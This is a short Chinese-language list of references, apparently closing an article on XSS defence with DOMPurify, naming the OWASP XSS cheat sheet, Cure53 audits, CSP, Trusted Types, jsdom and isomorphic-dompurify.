  1. OWASP XSS 防御备忘单
  2. Cure53 Security Audits - DOMPurify 维护团队

技术标准

  1. Content Security Policy (CSP)
  2. Trusted Types API

相关库

  1. jsdom - Node.js 环境的 DOM 实现
  2. isomorphic-dompurify - 浏览器和 Node.js 通用版本